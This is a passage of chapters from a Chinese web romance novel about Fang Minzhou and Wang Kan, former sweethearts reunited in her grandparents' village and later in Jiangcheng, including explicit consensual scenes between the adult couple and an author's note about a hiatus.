羞耻感像尖刀似的抵着她的后背,一如夹在腿心间的东西让她不敢乱动。 “哦哦哦,马上到了就好, 我还说怎么这么久了,还没到呢?你外公一直说没事没事,让我别担心,但在之前出了那样的事,怎么可能不担心呢是不是?” 老人说话慢也容易唠叨,方敏周想要打断也无从下口,尽量单音节地应着,几句话却成煎熬。 她另一只耳朵听见王衎变化的呼吸,不禁用眼神警告他。他乖了几秒,突然低头吮吻她的脖颈,就算有所提防,方敏周还是被吓到,还好没有叫出声,更勿论王衎甚至同时轻捂住了她的嘴巴,然后抬起脸观察她的反应,坏笑着把手撤来,让她能够回外婆的话。 方敏周面红耳赤地掐王衎的腰,但硬邦邦地扭不动,这只手再次被握住,牵引着摸到深处去,他又埋下头,嘴上也报复性般地含咬得更重。 方敏周被刺激得发抖,忍着不发出声音已是极限,仰头望着车顶,后知后觉地想起来不能留痕迹,却也腾不出口提醒王衎。 有那么几秒钟,她几乎听不到外婆的声音,听不见音乐,只有王衎闷沉的喘息声。 好不容易挂了电话,方敏周空出来的手立刻抓住王衎的短发,把脑袋提溜起来,而他一脸懵懂迷离,仿佛没吃饱的小孩,方敏周忍俊不禁,也不忍心斥责他,他炙热急促的呼吸扑在她脸上,她差点又要被带跑,扭了把他的脸颊:“……先回去了。” 王衎舔了舔嘴唇,说了声“好”,又嬉皮笑脸地问:“爽不爽?” 方敏周脸一热,手指用了力,王衎皱眉叫了声。方敏周这才解气,又心软地摸了摸,再亲了亲他的嘴巴,才从他身上起来。 她穿的修身牛仔裤,被妥帖包裹的臀腿在王衎面前一晃而过,他只有深呼吸了一口气。理了理自己的衣服,注意到滚落的矿泉水,捡起来灌了半瓶,再看向方敏周,她已经重新系好了安全带,衬衫衣领也整整齐齐,只有泛红的皮肤还留有刚才情动的痕迹。 王衎正琢磨,猝不及防车子起步,他手一抖,水洒了一片。 车子停下。 他低头,再抬头,方敏周也正好从他的裤子看向他的脸,四目相对,都有点儿不知道说什么。尴尬了一会,方敏周微张的嘴唇慢慢合上,抿住,忽然“噗嗤”笑出声。 王衎:“……” 方敏周连忙收起笑,抽纸巾想要帮王衎擦拭一下,又一看那位置,把纸巾塞进他怀里,“你自己……擦一下吧。” “……你故意的吧?”王衎狼狈道。 “没有啊,我故意什么?”方敏周觉得王衎这话说得极其没有道理,她重新启动车子。 王衎气结。 黑色的裤子,湿迹不明显,只是还没消下去的形状变得更突出,罪魁祸首倒是笑过之后就变得很镇定,王衎看她这样,反而越擦越起火,又想起一些事,回忆和幻想交叠,心猿意马起来。擦得差不多了,按下车窗,让发热的脑袋吹吹湿润的风。 夏天的阵雨来的快去的也快,车子穿过绿色的乡野,深深浅浅满是露意。 没多久,远远地就看到外公外婆在门口等人,停车时,方敏周看了眼王衎,确认:“ok吧?” 她的目光有形似的划上来,王衎心里头那团邪火本来就还没有压下去,想让她的眼睛不要再乱瞥,话说出口变成:“晚上去你房间还是我房间?” 方敏周愣了愣,王衎如愿以偿般地一笑,打开车门下车,外公外婆迎上来:“刚才很大的雨啊。” 方敏周拔了车钥匙下车,就听王衎这张嘴冠冕堂皇地回道:“是啊,在路上停了一会,雨太大了不好走。” “下雨天开车要注意安全。”外公外婆连连称是,关心起王衎的伤势,又是夸奖又是歉疚,又招手喊方敏周过来。他们应该已经知道了她和王衎的事,对王衎的态度本就不错,现在更是热情,看他们满脸欣慰。 方敏周站在王衎对面,看他面带微笑地和她外公外婆解释自己没事,稳重礼貌,既不是刚才说荤话的浪荡模样,也不见在这一寸房舍久别重逢时的疏离冷漠。 她的心胀胀的,一时有些恍惚,王衎略有些疑惑地朝她偷偷挑了挑眉,方敏周微笑着摇了摇头。 知道王衎来,晚上村长设席请王衎吃饭,方敏周和外公外婆陪着他去。 席间他们也被调侃了几句,被问细节,王衎看向方敏周,方敏周没有回避地简单概过。 说起来,也是一句话的事,虽然横跨了十年的时间。 方敏周和王衎还没怎么,其他人都感慨万分,她外婆更是直接红了眼圈,这让方敏周有些不知所措。 有人开玩笑道:“我就说这个小伙子怎么对我们村的活动这么上心,三天两头地跑过来,我该说这个年轻人不错,不过确实不错啊。” 王衎笑了笑,“认真工作,本来就是我应该做的。” “是是是,这倒是我说错了,来来来,我喝一杯。” 但王衎骨折,不便喝酒,最后方敏周倒是喝了几杯自酿。散席时夜色已深,沿着小路慢慢踱回家,雨后清凉凉的夜,风里是成熟了的稻花香。 尽管在车上亲密至极,但到了长辈面前,方敏周和王衎表面上还是很有分寸的,外公外婆也还是给他们准备了两间房。 外公外婆回房了,方敏周站在自己的房门前也同王衎道了声晚安。壁灯暗暗的,把王衎的眸色映画得幽然而深沉,方敏周看他莫名有种在照镜子的自省感,不自然地收回目光,按下门把手。 她的另一只手从身后被拉住了。 王衎的手宽大滚烫,一点点握紧了她的手的同时,迈步把她环入了怀里。门被关上,室内一地月光,他低头望她,鼻尖相抵,无声地征询她的意见。 方敏周刚要开口,不期然被王衎的唇舌覆盖侵入。 这会儿的感觉和下午在车内的感觉像又不像,空间宽敞安静了了许多,但同样担心被人发现,却又都控制不住。 她的手抵着王衎的胸口,仰着脖子,适应又回应他,在甜蜜黏乎得到令人眩晕的吻中,她回抱住王衎,直到落到床上,方敏周才猛然想起刚才没能说出口的话,“我,我没有那个……” 王衎含糊:“嗯?” “……套,安全套。”方敏周窘道。 王衎一顿,抬起头。 月光照得他的嘴唇水亮,显得怔愣的表情更加滑稽。方敏周自然看明白他是全然忘了这码事,而且……也不像有的样子。 面面相觑。 现在村里的小卖部应该已经关门了,就算没有关门,计生用品有没有得卖……方敏周之前还真没注意过。 她没忍住,再次笑出声。 王衎的脸黑了。 黑归黑,他咬了她一口,脑袋继续往下,方敏周吓了一跳,紧张地再一次抓住他的头发。 这一下没控制好力度,王衎吃痛地叫了声,不满道:“那你下午还要在车上上我?” “……我忘了。”也忘了他后来在情事上说话越来越没顾忌,说完,心里也有点不服气,“你如果想做,怎么不自己准备?” 王衎闻言默了默,在昏暗的光线里看她,明明就他们两个人,却忽然伏到她耳边说悄悄话。灼热的气息扑洒在耳廓,痒痒地钻进心里,再流到腹部。 他目光如炬,方敏周别开脸,算是默认,心跳如鼓的同时不断催眠自己放轻松,“你手……小心点。” 王衎无声地咧嘴一笑,说着“没事”,歪头吻她,右手沿着腰线往上,摸索着想要解开方敏周衬衫的纽扣。 “有没有想过我?” “……有。” “有多想?” 方敏周被问住了,但这又引起了王衎的哀怨:“你又这样。” “我怎么了?” “说,你有多想我。” “……你怎么不先说?” 王衎咬牙,而好半天,才把方敏周的纽扣解开一颗。 纽扣又小又滑,而他手心全是汗。 方敏周抬眼,他明明气势汹汹的,怎么一下子又落入这样窘迫又笨拙的境地?可是她其实觉得这样的王衎更可爱。 她抬起手,自己解开了第二颗纽扣,再是第三颗。 王衎重重咽了下喉结。 他探身打开床头的壁灯,这可以让他看得更清楚。 不止是看清方敏周、看清她的动作、让她也能看清他,还有其他什么……他说不上来,说是还要看清此时此刻不是梦一场,未免太可怜,他抵抗着内心深处的恐惧,小心虔诚而满足地亲舔方敏周,从脸颊到脖颈,再往下,像只四处嗅闻的狗,探索并标记,重新建立连接。 吻至被包裹的胸口,他用手指抚摸刚才亲过的地方,“这里长了颗痣。” “……有吗?”方敏周气息有些不稳,顺着王衎的手指去看,但她这样躺着看不到。 “有,长了一颗。” 方敏周感觉自己正被吊在空中,偏王衎看起来是还要认真钻研,这让她暗暗有些说不出口的羞恼,尽量平静地说:“……本来人老了身上的痣就会越来越多。” 王衎看向她,方敏周疑心“老”这个词用得有点重,她也不觉得自己老,但科学解释上来说就是这样,换成“年纪大了”也没有“好听”到哪里去。人都会变老,这几年她不用再焦虑学业,但多了个“拒绝年龄焦虑”的课题,难道王衎是因为这? “你比我大一岁。” “……差不多,不到一岁吧。” “我们分手的时候这里还没有。” 方敏周一愣,反应过来后脸都烧烫了,“喂……” “让我看看其他地方有没有。”王衎说着,吻重新落下。 方敏周嘴微张,无声地叫了声,壁灯灯光没有改变,她这会儿却害羞得觉得太亮了,“王衎,别闹了……” “没闹。” “有什么好找的……你身上肯定也有啊。“ “嗯,那你等会帮我找。” 方敏周咬住唇,不大愿意参与他幼稚的找茬游戏,但敏感地察觉到他的心情似乎有点不太一样,也就纵容了。 没想到还真被他找到了其他的痣,那些小小的褐色的生长痕迹,方敏周自己都没发现:左手的手腕内侧有一颗,左腿大腿和内侧各有一颗,右脚脚背有一颗,还有一颗在后胛骨,这一颗是在洗澡时发现的。 洗完澡,方敏周只想睡觉,也不想去找王衎身上有没有多出什么,而且他这么黑,“长痣了也看不到。” 不是好听的话,不知道为什么他听得嘿嘿的笑。 她钻进被子里,薄软的夏被,今天不开空调不开风扇盖着也刚刚好,但多了一个人就有些热了。 壁灯关了、窗帘也拉上了,黑暗里面对面侧躺着,只能看见一点眼里的光亮,体温和气息比看不见的表情更诚实,袒露得像两只能够闻到彼此身上味道的小动物。 “你要睡我这吗?”方敏周问。 “可以吗?”王衎问。 “明天早上万一被看到怎么办?” 实际上可能性很小,外公外婆都是让她自然醒,被看到也没关系……不对,方敏周冷静下来想了想,被看到还是很尴尬的。 王衎没想那么多,“我早点爬起来回去?” 想象了下那个画面,方敏周有点想笑,一只手覆上王衎的眼睛,他的睫毛在她手掌心里扫呀扫,“不用,先睡吧。” 王衎把她的手拉到嘴边亲了亲,“嗯,晚安。” “晚安。” 良久,方敏周并没有睡着,她感到自己疲倦之余,有一条神经异常得亢奋。睁开眼,王衎看起来像是睡着了,她的左手还被他握在手心里,但终于不再是病床上的紧握。 她另一只手摸了摸王衎的眉头,没有再皱着,方敏周不由得笑了笑,笑完也觉得自己傻。她没有再哭,只是心里悄然淌过一条温暖的河水。 第85章 第 85 章 第二天清晨…… 第二天清晨, 王衎先醒了,睁眼就看到方敏周睡在他身旁,他先是愣了愣, 然后就笑了起来, 盯着她看。 看了很久, 目不转睛得眼睛都酸了。 是幸福的吧, 此时此刻, 明明很幸福,却感到悲伤,还是说只是因为太幸福了?王衎把自己重新逗乐了。 他左手动不了, 别扭地找姿势,用右手抚摸方敏周的头发, 再是脸颊,手指弹钢琴一样在她鼻梁上跳动。他动作很轻, 也不是有意要闹醒她, 等方敏周真的醒了, 他也没有多少歉意, 开始蹭她。 方敏周没有起床气, 以前和王衎一起睡的时候, 他先醒来的话也都总是这样,她一般也无所谓,但今天大概是因为凌晨才睡着, 她还有点困,笑着皱脸躲了躲:“我再睡会……” “你睡吧……” 方敏周迷迷糊糊地睡过去, 但过了会,被抚摸舔舐的生理快感越来越清晰,人也被迫越来越清醒, 喊王衎,他应了声,“嗯?” 鼻音上扬,气息都喷在了敏感的地方。方敏周轻颤,往下摸到他的脑袋,哭笑不得,“……你这样让我怎么睡?” 水声啧啧,王衎咬不准字音,敷衍道:“你睡你的就是了……” 方敏周无奈又有点郁闷,怀疑他是因为没有安全套所以在唇舌和手指上变本加厉,虽然她昨晚也有帮他,虽然他以前好像也喜欢这样,但大清早的……隐隐约约,她听见一楼院子里的动静。 不知道几点了,外公外婆可能已经起床了。 她压着声音,也摸王衎,刺激他快一点,他这会儿倒是很不怕人听到似的喘得很大声,好在还有理智,裤子始终没脱。她到了后,他隔着衣物磨蹭了一会,主动起身进了卫生间。方敏周躺在床上,把脸埋进了不知何时团成团的被子里。 王衎出来,看到方敏周在换被单,一愣,挑眉笑道:“不至于吧?” 他们又没真干什么。 方敏周尽量平声道:“反正还有新的床单。” “那不是每天晚上都要换?” 方敏周一顿,瞪他。 王衎失笑,走过去从后面单手环住她,贴着摇了摇,又想起来什么,咬方敏周的耳朵,“其实如果你去洗床单的话……外公外婆不就知道了吗?” 方敏周:“……” 她不得不承认,王衎说得有道理。她的床单是自己带过来的,和其他房间的不一样。 她瞥了王衎一眼,王衎一脸坦然地看着她。方敏周收回目光,算了,换了都换了,难道还要铺回去?大不了过两天再洗吧。 王衎又低低笑起来,笑得方敏周又快要恼羞成怒了。 说起来,他会在双溪待五六天,今天他公司的其他人也会来,等活动办完就要回江城了,所以这几天…… 方敏周用眼神示意王衎,反正她是没脸去小卖部的,店主阿姨叔叔都是熟人,而王衎现在在村里也“出了名”……叫外卖跑腿倒也不是不行,但路途遥远,方敏周之前遇到过有外卖员找不到门牌号一路问过来的情况。 没想到王衎说他不急,他先看看,实在没有也没事。 方敏周:“……” 她深表怀疑。 “本来挺急的,现在嘛……也有点,但又不差这几天。” 方敏周听他这么说,不免有些心酸,捧他的脸,结果他眨眨眼睛,拉长音,“还是说……你特别想?” 那他上刀山下火海也要去把东西买来。 方敏周脸一沉,把他的脸皮拉长。 王衎哈哈笑。 他昨晚就这么调侃她,说他没准备安全套是因为没想到她这么主动。 方敏周自己也没想到。 情不自禁。 王衎又正经解释他说得是真话,本来他手也还没好,真要上场还担心影响发挥,先循序渐进得来也不错,大一那会儿就是这样,青涩地彼此摸索对方的身体,他还挺怀念的。 毕竟高潮并不一定必须要做到那一步,特别是对女方来说。 方敏周忍了忍,没忍住,纠正王衎的措辞,这哪青涩了? 怎么说着说着,越来越夸张了。 王衎笑方敏周一如既往地咬文嚼字,“那没办法,虽然很久没做了,但我对你……”他一双眼毫不客气地上下一扫,“还是很熟悉。” 方敏周的脸瞬间滚烫,觉得自己在他面前像没穿衣服一样,而王衎看她脖子都红透了,虽然被骂却更大声地笑起来。 最热恋的时候,真的是天天黏在一起,不知疲倦地交合。 刻骨铭心,所以午夜梦回。 高中幻想方敏周的时候还很羞愧,后来恋爱了,变成了情趣,分手后再想起来,感觉自己龌龊的同时非常可悲,但更多的是痛苦,所以他开始喝酒,醉到不省人事,就没了力气主动想她。 方敏周受不了地推他回去换衣服,他故意拉拉扯扯,而她碍于他的手臂,也不敢用力,于是顺势把人按到沙发上又亲了一会,“你还好意思说我。“ 方敏周嘴硬,王衎拉着她的手摸自己,“那你再熟悉熟悉。” 又闹了好一会儿,等两个人下楼,贺温纶一行人已经到了,早饭也吃完了,看他们的眼神都别有深意。 那时候来医院探病的是贺温纶和老魏,关心问候为主,但该知道了却也都知道了。 王衎很大方,方敏周也只有假装大方。 要布置集市,所以王衎其实很忙。方敏周虽然帮不上什么,也去现场看了看。 结果Joyce和熊熊一有空就找她问细节,她同样一句话简单概过前因后果,她们却没有长辈好糊弄,知道得越多追问得越起劲:高中同桌啊,那谁先喜欢谁的,谁先告白的;大学异地恋啊,那怎么度过的,对了对了,还有之前那个演唱会是怎么回事;王总以前也是这样的吗,感觉他最近性格变了有没有…… 方敏周和王衎恋爱的时候因为异地,其实没被太被这样八卦过。她们没有恶意,熊熊又不过是大学刚毕业的妹妹,方敏周没想要多说但也不想撒谎,有点招架不住,后来是老板王衎施压,两人才停歇,但只是表面上的,方敏周总觉得她和王衎稍微一靠近,背后就有目光磁铁般黏上来。 贺温纶和老魏倒是没有说什么,老魏是干活的人,但贺温纶……方敏周觉得他的眼神也意味深长,好像已经知道了什么秘密似的。 下午,方敏周就乖乖待在民宿了,她也有自己的工作。 王衎他们很晚才会回来,方敏周洗漱前给王衎发消息,让他要不直接回自己房间休息。 等吹干头发后拿起手机一看,王衎回她:你先睡,给我留个门。 方敏周回了个好。 虽然她和金莹有了线下的办公室,下周就能搬过去,但工作基本还是线上就可以完成,而线上工作的特点之一,就是随时随地都能工作,全靠自己掌握进度。 所以方敏周干脆继续干活,等到她的房门被轻轻敲醒,她看了看时间,已经十一点多。 刚打开门缝,王衎就钻了进来。 他是洗了澡过来的,两个人拥吻了一会,方敏周先去关电脑。 王衎好奇地看了看屏幕,他学过基础代码,大学同学中不少人也转了互联网,那个时候他也替方敏周问了些人。 他殷勤地给方敏周按摩额头眼周,但只有一只手,“我女朋友怎么这么厉害啊。” 方敏周被王衎单边的按摩按得直笑,比起他说腻歪的话,她更习惯和他斗嘴,但这会儿,方敏周笑着笑着,突然在想王衎是真的很喜欢她吧,自己在外面跑了一天,还会先关心她累不累。 不知道为什么,她心里升起一股叹息。 她拉住王衎那只捣乱般的手,他低头看她,她仰起脸吻他的下巴。 到了床上,方敏周本来是想帮王衎按摩一下,只是最后变成了其他服务。 王衎今天没有买到套,一来很忙,二来他有去小卖部,卖是有的卖,但款式很少,没有他的尺寸和他们之前常用的品牌。 他语气平常地说这些事,方敏周却听得很脸红,想来是他话里话外的那些暗示,勉强回了句知道了,看他一脸坏笑,问他笑什么,他也不说,方敏周便不再问,他自己忍不了靠过来,让她握住它,问了数学问题。 因为有工作,这几天晚上两人都没有闹得很晚,每到清晨,王衎会再回到自己的房间, 公开了的正经交往,莫名搞得和偷情一样,方敏周也不知道是哪里出了差错。 集市结束的晚上,村里准备了节目表演,再是露天电影。 中间道具出了点纰漏,村长便上台献歌一场,唱完,带头吆喝王衎上台。 方敏周站在人群里,硬要说的话,有点幸灾乐祸,可是当王衎在一片起哄声下真的拿起话筒时,方敏周就笑不出来了。 他还是唱的《绵绵》,高二那年那首没能在台上唱给她的歌。 她很久没有再听过这首歌了,自己不敢听,也没有在公共场合听到过。长大后才知道,其实很少会有人把耳机的另一半分享给你。 高中王衎嗓子好了后,他把这首歌又翻来覆去地在她面前唱过很多遍,每次都故意把“绵绵”两个字咬得格外重,变得很搞笑。 年少不识愁滋味,那些酸涩遗憾的歌词都不重要,苦情歌也能唱得甜蜜。回过头来,一字一句,字字戳心。 迟来的舞台和灯光,王衎唱的和以前很不一样,没那么不正经,其实也不怎么伤心,挺轻松。 绵绵的春风越过时空拂上她的脸,方敏周湿了眼睛。 他唱完,虽然歌曲柔情,但村民们更惊讶王衎会唱粤语歌,台下有人问他会不会唱《海阔天空》,王衎刚一点头,就上来一位大叔要和他合唱。 方敏周在激昂的音乐声中默默离开,走到挺远的一颗榕树下坐着。白天的时候是阴天,但晚上天晴了,抬头望月,还能听见歌声随着虫鸣飘来。 音乐结束,又响起其他节奏,大概是其他节目开始了。过了一会,方敏周听见脚步声,王衎坐到了她旁边。 “坐这干嘛?” “没干嘛。” “感动哭了?” 方敏周斜了他一眼,“你故意的吧。” “有点。”王衎说,“不过不是想看你哭。” “没哭。” 王衎没说话,摸了摸她的脸,确实是干的,他吻她的眼睛,吻到嘴巴,方敏周躲了躲,“……会有人。” 榕树的影子和黑夜融为一体,王衎低声:“没人。” “你怎么知道?” “我提前侦察过了。” 信口开河。 方敏周掐他,但没有用力,又王衎打趣:“嘿,我只是动动嘴皮功夫,你这直接就动手动脚了。” 方敏周:“……“ 想起Joyce和熊熊同她描述的王总王衎,方敏周说:“你再这样下去,你公司的人真的会觉得你人格分裂。” 王衎毫不在意:“我只在你面前这样,来,亲一下。” 他硬要凑过来,方敏周也没办法,环顾四周,安安静静的,好像的确没有人。 花丛后,及时蹲下的Joyce和熊熊大眼瞪小眼。 过了一会儿,确定没有被发现,两个人蹑手蹑脚地回到观众席,表演已经结束了,电影即将开场。 “我就说是唱给女朋友听的吧?”熊熊得意地说,模仿起来,“从未爱你过绵绵——” Joyce接道:“可惜我爱怀念——” 两个人粤语都不标准,唱不下去了,低声笑作一团。 方敏周说他们是大学毕业的时候分的手,什么原因没说,谁提的也没说,再讨论起来,熊熊斩钉截铁地认为,大概就是当年老板娘要出国,两个人可能吵了架啊或者什么,有点矛盾,就分手了。老板就很后悔啊,老板娘回国后,就暗戳戳地发誓一定要把人追回来,双溪镇这个项目估计都是老板故意接的。 刚才偷窥隔着一段距离,听不见说了什么,但看见两人亲亲抱抱,也足以令她们惊呆下巴。 “没错没错,哪有这么巧,还刚好订的是老板娘家里的民宿。” “而且之前王总不就经常来这边钓鱼吗?” “啧啧啧。” 贺温纶和老魏在旁边听了一耳朵,老魏问贺温纶:“这个项目不是你接的吗?” 贺温纶但笑不语,Joyce不也忘了这个民宿其实是她订的了吗? 方敏周打了个喷嚏,王衎问她:“冷了?” 方敏周摇摇头,“我们进去吧。” 王衎:“再坐会。” 方敏周:“该进去了,不然可能会被她们发现我们不见了。” 王衎:“我们又不是私奔。” 方敏周:“……“ “要不……我们现在直接走吧。” “去哪?” “都行。” 方敏周站起来,看王衎坐着没动,问:“不是走吗?” “你要带我去哪?”换王衎问。 “带你随便逛逛吧。”方敏周说着,伸出一只手。 手心交握,王衎站起来。 圆圆的月,被云遮住,风又把云吹散。 方敏周带着王衎在村子里漫无目的地乱逛,同他讲一些自己小时候在双溪的事情。 有一年夏天她被小伙伴带着去水库游泳,那时候不懂事,被她爸妈找过来,是唯一差点被打的一次,导致有一段时间她都不想再去水库玩了,“不过那条河啊,以前也是可以游泳的,现在可能是因为游客多了还是为什么,没人游了。” 而冬天的时候,有一段时间村子里过年很热闹,小孩子多,市集有好多好吃的,她吃到过非常香甜的花生糖,可惜就吃过那么一次,后来再也找不到一样的。 也没什么好说的,但王衎要听,方敏周也就努力回想。 他们牵着手,不知道走到了哪里,乡野漫漫,四下无人,但往前再走了段路,方敏周就找到了回民宿的方向。继续走着,她发现山坡上有一棵野李树,过去摇了摇树,掉下来几颗黄黄的小小的李子,她捡起一颗咬了口,又软又甜,问王衎要不要吃,王衎不要,方敏周还是踩在树根上,爬上去摘了几颗大的。 王衎有被惊到,没见过方敏周这么“野丫头”的一面,护她都不知道怎么护,好在她很快下来。 “真的很甜。”方敏周把其中一颗递到王衎唇边。 王衎盯着她,张嘴把小小李子含进嘴里,舌尖扫过方敏周的手指。 方敏周心一痒,若无其事地收回手,观察王衎的表情,“是不是很甜?” 王衎笑着点了点头—— 作者有话说:快完结啦,但不巧下周有事会比较忙,不确定能不能日更,感觉迟更or临时请假也挺消耗大家心情和时间的,所以明天起想干脆请假一周,不好意思哈 第86章 第 86 章 方敏周没有和王衎一…… 方敏周没有和王衎一起回江城, 妈妈要带外公外婆去体检,她陪同着一起,等她要回江城时, 王衎又临时要去外地一趟, 一来一回, 两个人就快一个星期没见面。 这时候, 方敏周莫名有点理解王衎之前说的话:急, 但也没有那么急。他们又像大学时那样开始熬电话粥,像是谨遵着“心急吃不了热豆腐”的教诲,熬一熬, 好像能熬出更甜蜜的糖。 不过王衎没想到方敏周已经够找好了房子,方敏周是上个月确定会来江城的时候定下的, 那时候正好有认识的朋友在转租。王衎也就没说什么,让她等他回来帮忙——虽然他只有一只手, 方敏周说不用, 她东西不多, 王衎也就没再说什么。 方敏周多少有点猜到他没有说出口的话, 但她也装傻, 想着再看吧。 周五傍晚, 方敏周去动车站接王衎,去得早了,目睹好几对夫妻情侣见面, 其中一位丈夫头发都有点花白了,带了一束花, 妻子像小女孩一样手舞足蹈地接过。 方敏周看得有点动容。 十几岁的时候,她当“白头偕老”是美好的祝福,十年过去, 才明白为何会是祝福。 有时候心情太好,她的大脑冷不防就会“叮”一声,让她从当下的快乐中抽离片刻。 并不是在如履薄冰得幸福,只是快乐的感觉太熟悉,而记忆粘连,连皮带骨,不可避免会想起伤心的事。 要是当初她没有太执拗,多问王衎一句,一切是不是会不一样?可是哭过后,方敏周也无意苛责过去的自己,异国的距离和时差、各自的压力和未来不同的规划,即使现在的她,也不知道该如何妥善处理,王衎家里的变故只是当初分手的催化剂。 大学恋爱时王衎的患得患失,方敏周包容的同时也会觉得可爱,但一忙起来,就无暇照顾他的情绪,她愧疚的同时也会有点恼火,生气王衎总是怀疑她,就像读书的时候,生气爸妈不相信她有在认真学习一样。 如今再想,当初她没有抚平王衎的焦虑,而王衎又过于关注关心她,彼此需求错位,总有一部分心力在内耗和调整,谈到后来才会都感到疲惫。 那时候的她,大概也有点不自觉的“恃宠而骄”,因为相信王衎、相信他们之间的感情,反而会先去维护其他脆弱的关系,所以当初王衎提分手,她才会那么受打击。不单单是初恋的结束,还有一种类似被背叛的崩溃和绝望。 年纪小的时候,真的觉得谈恋爱是一件很简单的事情,只要彼此喜欢,就能永远在一起。 想了又想,方敏周外卖叫了一束花。 花刚送到,人也接到了。王衎满脸惊讶,笑到捧腹,路人纷纷看过来,方敏周用花遮住自己的脸,后悔了。王衎过来抱她,她把花一把塞到他怀里,自己转头走开。 走了几步,感觉王衎没有跟上来,她回头,王衎左手的石膏还没拆,右手又是搂花又是顾行李,手忙脚乱的,看她看过来了,干脆就歪头站定,装出一副可怜相。 方敏周面无表情地走过去,提过他的行李包。 王衎就爱看方敏周对他无可奈何的样子,贴上去,再次恨自己只有一只手,“你怎么想到送我花了?” “想送就送了呗。” “有什么节日吗,但最近的节日是中秋节……” 如期挨了方敏周一记白眼,王衎笑得更乐,“你把我该做的事都做了,我怎么办?” “……什么你的我的。”方敏周作势要把花抢回来,王衎连忙举高了,像个不愿意分享玩具的小朋友一样,方敏周被气笑,不说话,用眼神骂他。 “和谁学的?” 方敏周心想她有很无聊吗?她之前给他送礼物也都是精挑细选过的,“你啊。” 这下王衎愣了愣,呆呆“哦”了声,紧接着耳尖红了,而眉眼间藏不住的得瑟,看得方敏周也再绷不住脸。余光注意到周边还有人在看他们,她跟着脸红,赶紧领王衎回车上去。 和他学的确实不假。 有一次王衎来找她,他们依然约在湖边见面,还是王衎先到,她小跑过去时,发现迎面过来的同学都在纷纷回头小声议论,方敏周以为是他们太张扬了,慢下脚步,直到走到王衎面前,他却从身后猛地掏出来一束花,吓了她一跳。 上了车关好门,方敏周正要系安全带,感觉到王衎靠过来的气息,她抬眼,还没看仔细,嘴被吻住,她失笑,说先回去,王衎空出来的那只手按住了她的后脑勺,半是撒娇半是诱哄:“……先亲会。” 方敏周犹豫了下,但她也想他,便不再推举,暗暗庆幸把车停在了地下车库。车是王衎的,他之前把车钥匙给了她。 说着亲一会,却亲了很久。 每次和王衎接吻,方敏周的大脑都会荡开涟漪般的酥麻,仿佛在温热的海洋里抱着游泳圈漂浮,安心得被危险吞没。 她想,是不是因为嘴唇离大脑太近,所以五感才会被无限放大,特别是舌吻的时候,对彼此打开湿热窄小的口腔,从这里侵入或者被侵入,舌头纠缠融为一体,轻易就能探进秘密的深处,而舌根连着喉腔连着更深的地方。 晕晕乎乎的,又清晰地知道理智是如何一点点丧失的,就像贪吃蛇无法餍足地吞吃食物,欲望拖着长长的尾巴,扫来扫去。 吻到两颊都微微发酸,又一辆车灯扫过,想到上次雨天野外的冲动,方敏周有点回过神,退开了一点,王衎追上来,又亲了几下,两个人才意犹未尽地分开。 方敏周都不知道看哪,不敢看王衎的眼睛,也不敢看他的嘴唇,没话找话,关心了一句:“你饿不饿?“ 王衎轻笑,“你说呢?” 方敏周反应过来这句话的歧义,瞪了他一眼,“我问认真的,饿的话我们先去吃饭。” “还好,你呢?” “我也还好。” “那先回去放行李?” “好。” 原定的计划,她开车送王衎回家放行李,等他换身衣服,再去吃饭。 两个人口味相近也不挑食,吃什么都可以,方敏周提议去吃西餐,王衎也没意见,不过最后又是没有成型的计划。 王衎让她上来坐坐。 起初这应该只是单纯的提议,毕竟他们还有一个晚上的时间,而她在楼下车里坐着干等奇怪,拒绝更是奇怪,但在心脏随着一层层上升的电梯而一寸寸缩紧的过程中,气氛也还是变得暧昧,然后也许是电梯开门前的对视,也许是王衎单膝给她拿拖鞋时抬眼的眼神,还有接过水杯时指尖的相触,又或者……是靴子终于落地。 王衎一个人洗的澡,因为她递了条毛巾,变成了两个人一起,这招王衎屡试不爽,她也老是上当。 以前第一次被他趁机拉进浴室里的时候,她一把推开他跑出来,都顾不上王衎有没有摔倒,等他边围浴巾边走出来,她也非礼勿视般地立马捂住眼睛骂他;后来半推半就地尝试,羞到腿都软,还是觉得王衎有毛病,但他花言巧语太多,加上浴室蒸腾的水汽似乎有点他口中的浪漫与温馨,一次两次,她也放开了些;再后来……就是从中找到了点乐趣,尤其是发现王衎实际也很害羞的时候。 在民宿时虽然也一起进过浴室,但那时候还只是亲吻抚慰,当王衎从洗漱台的柜子里拿出安全套时,方敏周不免有点上当受骗的感觉。 怎么也没想到他还把东西藏在了这,而王衎直盯着她笑,让她帮忙,因为他单手不便,如此理所当然。 方敏周脸热地撕开,太久没用,动作小心,王衎却敏感得要命。方敏周本来就有点尴尬,看他这样,倒起了些故意捉弄的心思。王衎又硬又烫的,嘴巴倒是很软,哼哼唧唧地求饶,等戴好,却神气起来,一只手似乎也没有任何问题了,方敏周让他小心,他还很不领情:“看不起我啊?” 方敏周面红耳赤,“我不是那个意思。” 王衎在她耳边喘着笑:“所以你其实很信任我?” 紧跟着一些更加没脸没皮的话,方敏周搂着他赤裸精壮的腰,到底毫不留情地扭了一把,王衎倒吸一口冷气,更用力地抵进,她把头埋进他的脖颈处,咬回去。 面对面站着,适应后,她坐在湿漉漉的台面上,滑下去后半悬空了一会,脚尖几乎要抽筋,被王衎搂着腰转过身。 其实一下子就对镜,有点超出方敏周的承受范围,虽然以前在浴室的时候经常这么玩。 镜子雾蒙蒙的,方敏周低着头不敢看,也不敢想身后的王衎如何,只感觉到他的动作和喘息在封闭湿润的空间里越来越重地回响。 后来一只手随动作攀上了镜子,方敏周看着镜子里模模糊糊的身影,鬼使神差地抹开了水雾,晃动间,看到王衎醉了般,他迷离的眼睛望向镜子,眼神交汇,痴痴地笑了下,附下来吮吸她的脖子。 回到床上后,他又从床头柜里拿出了套。 方敏周无奈又好笑,问他还藏在了哪里,王衎不怀好意地让她猜,方敏周不要,他便逼问:“你呢,你家的放哪里?” 方敏周不说,被他磨得不耐烦了,反过来换她主导。 天黑得早了,室内拉上窗帘,没有开灯,昏暗间勉强还能辨清彼此,但意识最后都在情欲中涣散,一味地抓紧时间般急切贴合,但等到太阳真的落山,却更加疯狂地在黑暗中肆意。 声音蘸了水,水又出了声音。 饱暖思淫/欲,反过来,当后者暂且被满足,方敏周肚子已经饿得咕咕叫了,王衎也没有好到哪里去。 饭店是不用去了,点了就近的外卖。等外卖期间,方敏周起身单独洗了个澡,没有换洗的衣服,穿了王衎的短袖。她一直不太习惯穿王衎的衣服,因为总感觉有他的味道,忍不住就会想要闻一闻确认,但这行为比衣服更令人羞耻。 